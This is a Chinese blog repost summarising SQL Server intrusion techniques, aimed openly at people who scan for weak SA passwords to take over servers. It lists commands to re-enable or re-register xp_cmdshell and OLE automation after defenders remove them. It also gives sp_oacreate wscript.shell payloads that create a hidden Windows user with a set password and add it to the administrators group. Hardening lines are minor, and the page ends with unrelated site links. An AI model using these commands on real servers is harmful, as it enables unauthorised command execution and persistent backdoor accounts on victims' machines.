位置: 编程技术 - 正文

SQL入侵恢复xp_cmdshell方法总结

编辑:rootadmin
SQL入侵恢复xp_cmdshell方法总结 sql server 下开启xp_cmdshell的办法 EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; SQL开启'OPENROWSET'支持的方法: exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE; SQL开启'sp_oacreate'支持的方法: exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE; 突破SA的各种困难 常见情况恢复执行xp_cmdshell 1 未能找到存储过程'master..xpcmdshell'. 恢复方法:查询分离器连接后, 第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog.dll'declare @o int 第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql.dll' 然后按F5键命令执行完毕 2 无法装载 DLL xpsql.dll 或该DLL所引用的某一 DLL。原因(找不到指定模块。) 恢复方法:查询分离器连接后, 第一步执行:sp_dropextendedproc "xp_cmdshell" 第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql.dll' 然后按F5键命令执行完毕 3 无法在库 xpweb.dll 中找到函数 xp_cmdshell。原因: (找不到指定的程序。) 恢复方法:查询分离器连接后, 第一步执行:exec sp_dropextendedproc 'xp_cmdshell' 第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb.dll' 然后按F5键命令执行完毕 四.终极方法. 如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户: 查询分离器连接后, servser系统: declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:winntsystemcmd.exe /c net user dell huxifeng /add' declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:winntsystemcmd.exe /c net localgroup administrators dell /add' xp或server系统: declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystemcmd.exe /c net user dell huxifeng /add' declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystemcmd.exe /c net localgroup administrators dell /add' -------------- xp_cmdshell新的恢复办法 删除 drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc 'xp_cmdshell' 恢复 dbcc addextendedproc ("sp_oacreate","odsole.dll") dbcc addextendedproc ("xp_cmdshell","xplog.dll") 这样可以直接恢复,不用去管sp_addextendedproc是不是存在 ----------------------------- 删除扩展存储过过程xp_cmdshell的语句: exec sp_dropextendedproc 'xp_cmdshell' 恢复cmdshell的sql语句 exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog.dll' 开启cmdshell的sql语句 exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog.dll' 判断存储扩展是否存在 select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' 返回结果为1就ok 恢复xp_cmdshell exec master.dbo.addextendedproc 'xp_cmdshell','xplog.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' 返回结果为1就ok 否则上传xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:winntsystemxplog.dll' 堵上cmdshell的sql语句 sp_dropextendedproc "xp_cmdshell ---------------- 删除sql危险存储: /*不狐 附上恢复扩展存储过程的办法 先恢复sp_addextendedproc,语句如下: SQL代码: 再恢复以上所有扩展存储过程 SQL代码: SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 经常扫SQL弱口令肉鸡的朋友应该遇见过这样的问题 ! 接下来我们用SQL语句搞定他 分析器执行的语句: EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE

推荐整理分享SQL入侵恢复xp_cmdshell方法总结,希望有所帮助,仅作参考,欢迎阅读内容。

SQL入侵恢复xp_cmdshell方法总结

文章相关热门搜索词:,内容如对您有帮助,希望把文章链接给更多的朋友!

sqlserver 函数、存储过程、游标与事务模板 1.标量函数:结果为一个单一的值,可包含逻辑处理过程。其中不能用getdate()之类的不确定性系统函数.--标量值函数--==============================================

ADO.NET EF中的实体修改方法 1.传统修改模式,看下列代码using(NorthwindEntitiescontext=newNorthwindEntities()){Regionregion=context.Region.FirstOrDefault(v=v.RegionID==4);region.RegionDescription="Test";context.SaveCha

sqlserver 聚集索引和非聚集索引实例 createdatabasemyIndexDemogousemyIndexDemogocreatetableABC(Aintnotnull,Bchar(),Cvarchar())goinsertintoABCselect1,'B','C'unionselect5,'B','C'unionselect7,'B','C'unionselect9,'B','C'goselect*fromABC-

标签: SQL入侵恢复xp_cmdshell方法总结

本文链接地址:https://www.jiuchutong.com/biancheng/349165.html 转载请保留说明!

上一篇:世界杯猜想活动的各类榜单的SQL语句小结(世界杯猜测)

下一篇:sqlserver 函数、存储过程、游标与事务模板(sqlserver函数大全)

  • 进出口贸易公司需要什么资质
  • 企业弥补以前年度亏损顺序
  • 公司主营销售墓地合法吗
  • 工资交税是用累计税吗
  • 个人独资企业有股权吗
  • 中小企业增值税税率
  • 天然气安装工程施工劳务协议
  • 外购电力费用分配例题
  • 工程在建期间土地的摊销如何处理
  • 技术服务费进项票会计分录
  • 进项税额转出不交税款怎么处理
  • 企业所得税季报人数怎么填
  • 工程合同外购设备怎么开票
  • 如何查看系统浏览器记录
  • linux -pv
  • qq能上,网页打不开怎么回事
  • php判断ua
  • 撤销账户申请怎么写
  • 继续涉入资产会计处理
  • mediacache是什么文件夹
  • axios怎么使用
  • 股权变更怎么缴纳个人所得税
  • “Property or method “***“ is not defined on the instance but referenced during render.”报错的原因及解决方案
  • php指定参数类型
  • 小企业会计准则调整以前年度费用分录
  • 政府购买企业服务是否交税
  • ajaxuploadfile
  • 上月的会计分录做错了
  • vue docs
  • 报销的时候发票金额大于实际报销的金额
  • 增值税补交还有没有责任
  • 税务局退还的三种税费
  • 企业年报未报会有什么后果
  • 产成品报废会计处理
  • 应纳税所得额中国债利息收入
  • 小企业会计准则季度报表
  • 经营性应付项目的增加为什么调减
  • sql语句自动执行
  • 企业会计准则在建工程转固定资产
  • 增值税发票系统客服电话
  • 季度亏损需要计提企业所得税吗
  • 公允价值怎么读
  • 服务不动产和无形资产本期数,第19栏
  • 结转收入及成本费用
  • 工会经费记在什么科目
  • 银行回单中包含哪些内容
  • 充值优惠怎么写
  • 季节性停工固定资产折旧计入什么科目
  • 其他应收款的二级科目
  • 股东打到公帐上怎么做账
  • 公司注销项目怎么办
  • 会计报表怎么算
  • 持有待售的非流动资产减值能转回吗
  • 老项目简易征收税率
  • 如何结转生产成本至库存商品
  • 法定盈余公积是什么
  • innodb_sys_tables
  • mysqldump -h
  • 升级尝鲜
  • sql cast,convert,QUOTENAME,exec 函数学习记录
  • DBCC CHECKIDENT 重置数据库标识列从某一数值开始
  • win10睡眠什么意思
  • Ubuntu下配置vpn工作环境
  • windows8怎么关闭广告弹窗
  • win10可以关闭的功能
  • hosts文件win10
  • Win7系统如何打开摄像头
  • windows如何编辑内容
  • jquery九宫格抽奖
  • 使用Jasmine和Karma对AngularJS页面程序进行测试
  • js的匿名函数
  • android内存分析显示
  • js输出表格
  • 调试动态加载的js
  • jquery的实现原理
  • python爬虫类
  • jquery table
  • python的argparse用法
  • 税务稽查案件办案程序规定
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设